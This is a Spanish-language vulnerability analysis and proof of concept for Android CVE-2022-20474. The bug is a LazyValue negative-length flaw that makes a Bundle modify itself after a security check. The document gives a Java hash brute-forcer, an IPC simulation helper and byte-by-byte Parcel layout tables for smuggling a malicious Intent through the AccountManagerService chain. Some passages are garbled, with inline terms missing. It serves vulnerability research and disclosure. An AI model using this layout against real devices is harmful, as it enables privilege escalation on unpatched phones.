
Análisis técnico detallado y prueba de concepto para Android CVE-2022-20474, una vulnerabilidad de discrepancia de Bundle que explota LazyValue con longitud negativa para lograr un comportamiento de Bundle que se modifica a sí mismo.
Nota: antes de leer este artículo, debería tener una comprensión básica de las vulnerabilidades relacionadas con Bundle Mismatch. Si aún no ha leído los siguientes materiales de referencia, se recomienda hacerlo primero:
Recientemente estaba estudiando en detalle el artículo LeakValue de michalbednarski. Mientras discutía con Canyie, mencionó que en este artículo también se mencionaba un caso de Bundle auto-modificado en el escenario LazyValue. Así que fui a buscar el texto original, y efectivamente, había ese párrafo, pero yo lo había pasado por alto al leer el artículo de Michal. El texto original dice lo siguiente:
(También se puede usar
LazyValuecon una longitud negativa especificada (sin usar otros errores descritos en este informe) para crear unBundleauto-modificado, lo mismo queLazyValuefue creado para eliminar. Pero esa es otra historia (y se informó por separado a Google); en este exploit apunto a algo más).
Michal se refiere a CVE-2022-20474 (boletín, parche). Le eché un vistazo al parche, pero la función en el enlace del parche no estaba completa. Después de completarla, la revisé con más detalle:
@@ -4388,6 +4388,9 @@
public Object readLazyValue(@Nullable ClassLoader loader) {
int start = dataPosition();
int type = readInt();
if (isLengthPrefixed(type)) {
int objectLength = readInt();
+ if (objectLength < 0) {
+ return null;
+ }
int end = MathUtils.addOrThrow(dataPosition(), objectLength);
int valueLength = end - start;
setDataPosition(end);
return new LazyValue(this, start, valueLength, type, loader);
} else {
return readValue(type, loader, /* clazz */ null);
}
}
objectLength en el código es la length de LazyValue, pero de hecho esto es solo la longitud del objeto variable contenido en LazyValue, mientras que la longitud total de LazyValue es controlada por el campo mLength, es decir, valueLength en el código, que se asigna a mLength en el constructor de LazyValue.
Comparemos con el formato de diseño de LazyValue de la siguiente manera:
/**
* | 4B | 4B |
* mSource = Parcel{... | type | length | object | ...}
* a b c d
* length = d - c
* mPosition = a
* mLength = d - a
*/
Basado en lo anterior, podemos obtener los siguientes hechos:
mLength representa la longitud total de LazyValue; mLength = objectLength + 8 bytes.objectLength debería ser mayor o igual a 0.LazyValue solo guarda mLength, no objectLength, porque LazyValue hace copia de memoria basada en todo el objeto.LazyValue.Luego, después de una reflexión profunda, coincidimos en que estos hechos no sirven de nada, porque basándose en lo anterior, solo se puede modificar una vez durante la lectura. Sabemos que la idea central de Bundle auto-modificado es modificar después de que la lectura haya terminado para eludir la verificación de seguridad.
Justo cuando estábamos a punto de rendirnos, de repente notamos algunos detalles en la descripción del parche:
Addresses a security vulnerability where a (-8) length object would cause dataPosition to be reset back to the start of the value, and be re-read again.
objectLength anormalSe menciona que cuando objectLength es -8, hay algunos problemas, lo que nos dio ideas adicionales. ¿Puede LazyValue todavía aplicar de manera normal en este caso?
@Override
public Object apply(@Nullable Class<?> clazz, @Nullable Class<?>[] itemTypes) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
// Check mSource != null guarantees callers won't ever see different objects.
if (mSource != null) {
int restore = source.dataPosition();
try {
source.setDataPosition(mPosition);
mObject = source.readValue(mLoader, clazz, itemTypes);
} finally {
source.setDataPosition(restore);
}
mSource = null;
}
}
}
return mObject;
}
/**
* @see #readValue(int, ClassLoader, Class, Class[])
*/
@Nullable
private <T> T readValue(@Nullable ClassLoader loader, @Nullable Class<T> clazz,
@Nullable Class<?>... itemTypes) {
int type = readInt();
final T object;
if (isLengthPrefixed(type)) {
int length = readInt();
int start = dataPosition();
object = readValue(type, loader, clazz, itemTypes);
int actual = dataPosition() - start;
if (actual != length) {
Slog.wtfStack(TAG,
"Unparcelling of " + object + " of type " + Parcel.valueTypeToString(type)
+ " consumed " + actual + " bytes, but " + length + " expected.");
}
} else {
object = readValue(type, loader, clazz, itemTypes);
}
return object;
}
Se puede ver que el readValue real comienza a leer desde mPosition, luego lee secuencialmente LazyType y objectLength, y luego entra en el flujo normal de lectura de Value, por ejemplo, Parcelable necesita leer ClassName y luego ejecutar createFromParcel. Después de la lectura, no hay diferencia con un Key-Value normal y no afecta la serialización posterior. Revisando de nuevo, la idea central de Bundle auto-modificado es modificar después de que la lectura haya terminado. Aquí solo es una lectura fuera de límites común; parece que este camino no funciona.
¿Y si LazyValue no se apply en este proceso? Es decir, si sigue participando en IPC como LazyValue, se llamará a su función writeToParcel:
public void writeToParcel(Parcel out) {
Parcel source = mSource;
if (source != null) {
synchronized (source) {
if (mSource != null) {
out.appendFrom(source, mPosition, mLength);
return;
}
}
}
out.writeValue(mObject);
}
Todo LazyValue se copia directamente, a menos que mLength = 0. ¡Espera! Arriba mencionamos que mLength = objectLength + 8 bytes, y de la información del parche sabemos que para desencadenar la vulnerabilidad, objectLength debe ser -8, entonces mLength = 0 se cumple. En otras palabras, en este escenario, todo LazyValue desaparece directamente, solo se copia el String Key, lo que provoca una escritura faltante, cumpliendo directamente la condición de Bundle auto-modificado.
Conociendo la causa, podemos comenzar la reproducción, pero antes de eso, necesitamos algunos detalles más.
static final int BUNDLE_MAGIC = 0x4C444E42; // 'B' 'N' 'D' 'L'
private static final int BUNDLE_MAGIC_NATIVE = 0x4C444E44; // 'B' 'N' 'D' 'N'
Todos sabemos que el diseño de memoria de Bundle es aproximadamente el siguiente:
/**
* | 4B | 4B | 4B |
* Bundle{| length | MAGIC | size | Key | Value | Key | Value | ...}
*
*/
MAGIC es el número mágico de Bundle en el diseño de memoria, puede ser BUNDLE_MAGIC o BUNDLE_MAGIC_NATIVE. La diferencia más importante entre ellos es que BUNDLE_MAGIC hará que los Key-Value se reordenen después de la deserialización, como se muestra en el siguiente código:
/**
* Reads a map into {@code map}.
*
* @param sorted Whether the keys are sorted by their hashes, if so we use an optimized path.
* @param lazy Whether to populate the map with lazy {@link Function} objects for
* length-prefixed values. See {@link Parcel#readLazyValue(ClassLoader)} for more
* details.
* @return a count of the lazy values in the map
* @hide
*/
int readArrayMap(ArrayMap<? super String, Object> map, int size, boolean sorted,
boolean lazy, @Nullable ClassLoader loader) {
int lazyValues = 0;
while (size > 0) {
String key = readString();
Object value = (lazy) ? readLazyValue(loader) : readValue(loader);
if (value instanceof LazyValue) {
lazyValues++;
}
if (sorted) {
map.append(key, value);
} else {
map.put(key, value);
}
size--;
}
if (sorted) {
map.validate();
}
return lazyValues;
}
El indicador MAGIC finalmente afecta el valor de sorted en readArrayMap, provocando que el mapa se ordene. El comentario también menciona que el método de ordenación se basa en el valor hash de la key String.
/**
* a
* ArrayMap{| Key1 | LazyValue1 | FakeKey2 | Value2 | Key3 | Value3 |}
*
*/
Imaginemos nuevamente el proceso de análisis de ArrayMap. En la primera ronda de análisis, primero se analiza Key1, luego se intenta analizar LazyValue1. Pero objectLength de LazyValue1 es -8, por lo que el puntero de parcel vuelve al inicio de LazyValue1, es decir, al punto a. Esto es lo que mencionamos anteriormente como hecho 4. Hasta aquí, el primer par Key-Map ya se ha analizado. El segundo Key-Value comienza a analizarse desde el punto a. En este momento, primero se lee la longitud de String. Suponiendo que LazyValue1 contiene un Parcelable, entonces esta longitud debería ser 4. Por lo tanto, el verdadero Key2 comienza desde el punto a, es decir, = + . no contiene ningún dato, por lo que su longitud es de 8 bytes ( + ). La longitud total de será 4 (indicador de longitud) + 4 * 2 + 4 ("\0") = 16 bytes. Restando los 8 bytes del , necesitamos agregar 8 bytes adicionales al construir, es decir, 2 . Luego, leemos . Por lo tanto, en la primera ronda de análisis, necesitamos un para manejar el problema de que el puntero retrocede debido a un con negativo. No nos importa el valor de este , ya que solo se usa durante la primera ronda de análisis, es solo una herramienta. Dado que es una herramienta desechable después de usarla, esperamos que esté lejos de nuestros datos clave después de la primera ronda, y que contenga nuestros datos maliciosos. Lo mejor sería que el valor hash de sea mayor que el de , para que no afecte el análisis posterior. A través del , podemos ajustar el valor hash de para lograr este objetivo, lo cual se detallará en el . Luego entramos en el análisis de . Como es habitual en , en colocamos un que contiene el malicioso, pero tiene algunas restricciones adicionales. Después de la primera ronda de deserialización, el diseño de debería ser así: la herramienta queda al final:
Key1-Value1 | Key3-Value3 | Key2-Value2
Como se mencionó en objectLength anormal, la longitud de LazyValue1 es 0, por lo que al llamar a writeToParcel, ¡no se copia en absoluto! El diseño real es:
Key1 | Key3-Value3 | Key2-Value2
Después de leer Key1, todavía necesita leer Value1, y aquí nuevamente ocurre una lectura fuera de límites. Key3 también debe asumir la responsabilidad de leer LazyValue1. El primer int en Key3 debe actuar tanto como la longitud de String como el Type de LazyValue. Esto significa que la longitud de Key3 no puede ser demasiado corta, de lo contrario, el hash es difícil de calcular. Mirando la lista de LazyValue Type, me fijo en:
private static final int VAL_LIST = 11; // length-prefixed
Por supuesto, también puedes elegir 12, 16, 17, siempre que no sea demasiado corto.
El segundo int en Key3 también debe actuar como Length de LazyValue. A través de él, podemos controlar la longitud de LazyValue1 y apuntar el siguiente puntero al inicio del Intent malicioso. ¿Dices que el contenido de LazyValue1 no es válido? Eso no es mi problema; mientras no llames a getXXX para apply, siempre será LazyValue.
Escribe un brute-forcer:
private static Pair<Integer, Integer> generateInt(){
while (true) {
Random random = new Random();
int number1 = random.nextInt();
int number2 = random.nextInt();
Parcel parcel = Parcel.obtain();
parcel.writeInt(11); //
parcel.writeInt(32);
parcel.writeInt(0);
parcel.writeInt(0);
parcel.writeInt(number1);
parcel.writeInt(number2);
parcel.writeInt(0);
parcel.setDataPosition(0);
String str = parcel.readString();
if (str.hashCode() >= "Cxxsheng".hashCode() && str.hashCode() < "Cxxsheng".hashCode() + 1000000)
{
parcel.recycle();
return new Pair<>(number1, number2);
}
parcel.recycle();
}
Por supuesto, también podemos forzar Key2 para ajustarlo al principio, pero la longitud de Key2 es fija (4), es más corta y deja menos espacio para manipular. En cambio, para Key3 ya reservamos algo de espacio arriba para que el brute forcing sea más fácil. Suponiendo que nuestro Key1 es la cadena "Cxxsheng", queremos que el valor hash de Key3 sea mayor que el hash de "Cxxsheng", pero solo un poco mayor. Configuré 1000000, para que tengan una alta probabilidad de estar siempre juntos, evitando que Key2 se interponga. Como mencionamos antes, los primeros dos int de string son fijos. Por lo tanto, primero escribimos VAL_LIST (que también es la longitud de String), calculamos que faltan 32 bytes para llegar al Intent malicioso, y los ceros restantes se pueden usar para el brute forcing. Elegimos 2 al azar para forzar.
Se pueden usar number1 y number2 para manipular la ordenación del tercer valor en ArrayMap. Dado que ArrayMap ordena según el hashcode de la key, esto permite que el tercer valor se convierta en el segundo después de la deserialización, justo después del primer "Cxxsheng", como se muestra a continuación:
Bundle[{Cxxsheng=Supplier{VAL_PARCELABLE@28+0},[código basura]=[ByteArray malicioso], [código basura]=0}]
Se puede observar que el orden de lectura también será diferente al de escritura. Después de completar la escritura, como analizamos anteriormente, todo LazyValue se pierde, y el tercer Key-Value se reordena al segundo, incluyendo type y objectLength. Por lo tanto, el diseño de la página se convierte en:
El lector puede utilizar la cadena de explotación clásica de AccountManagerService. Si se puede explotar o no no se discutirá en detalle aquí, ya que depende de si la función checkKeyIntentParceledCorrectly existe en el parche de noviembre de 2022. Explicación adicional: esta función utiliza un flujo de llamada IPC simulado para bloquear la cadena de explotación de AccountManagerService. Por lo tanto, incluso si existe un Mismatch en Android 12 o 13, es posible que no se pueda explotar con éxito; se necesita encontrar un método para eludir esta función.
Podemos imitar esta función para simular el flujo de llamada IPC de la siguiente manera:
private Bundle simulateIPCBundle(Bundle originBundle){
Parcel p = Parcel.obtain();
p.writeBundle(originBundle);
p.setDataPosition(0);
byte[] bs = p.marshall(); // durante la depuración, se pueden ver los datos de Parcel aquí
// marshall no cambia el puntero de Parcel
// p.setDataPosition(0);
Bundle simulateBundle = p.readBundle(getClass().getClassLoader());
p.recycle();
return simulateBundle;
}
Luego observe el resultado del registro del flujo de llamada IPC simulado; consulte específicamente mi código en Github:

Key2LazyValue1FakeKey2LazyValue1LazyTypeobjectLengthstringLazyValue1writeIntValue2Key2-Value2LazyValue1objectLengthKey2-Value2Key3-Value3Key2Key1Key3Key2-Value2Bundle mismatchValue3ByteArrayIntentKey3ArrayMapKey2-Value2| Valor | Descripción |
|---|
| "Cxxsheng" | Primera clave |
| 4 | Se leerá dos rondas: la primera representa VAL_PARCELABLE; la segunda se convierte en la Longitud de String de la segunda clave |
| -8 | Se leerá dos rondas: la primera representa objectLength de LazyValue, lo que hace que el puntero de lectura retroceda, provocando dos lecturas; la segunda se convierte en el Valor de String de la segunda clave |
| 0 | Valor de String de la segunda clave |
| 0 | Valor de String de la segunda clave |
| 1 | VAL_INTEGER |
| 0 | Segundo valor |
| 11 | Longitud de String de la tercera clave |
| 32 | Valor de String de la tercera clave |
| 0 | Valor de String de la tercera clave |
| 0 | Valor de String de la tercera clave |
| number1 | Valor de String de la tercera clave; estos dos valores se usan para ajustar la ordenación |
| number2 | Valor de String de la tercera clave; estos dos valores se usan para ajustar la ordenación |
| 0 | Valor de String de la tercera clave |
| 13 | VAL_BYTEARRAY |
| Longitud de LazyValue | Calculada |
| Longitud de ByteArray | Calculada |
| ByteArray | Contiene los pares clave-valor maliciosos, es decir, Intent.EXTRA_INTENT y su Intent |
| Valor | Descripción |
|---|
| "Cxxsheng" | Primera clave |
| 11 | VAL_LIST |
| 32 | Longitud del primer valor; la validez del resto ya no importa (de todos modos no se aplicará este LazyValue); esto apunta directamente al inicio del Intent malicioso en el ByteArray |
| 0 | Valor en LazyValue |
| 0 | Valor en LazyValue |
| number1 | Valor en LazyValue |
| number2 | Valor en LazyValue |
| 0 | Valor en LazyValue |
| 13 | Valor en LazyValue |
| Longitud de LazyValue | Valor en LazyValue |
| Longitud de ByteArray | Valor en LazyValue |
Inicio de ByteArray / Intent.EXTRA_INTENT | Segunda clave |
| Intent | Segundo valor |
| Tercer Key-Value | Se coloca al final |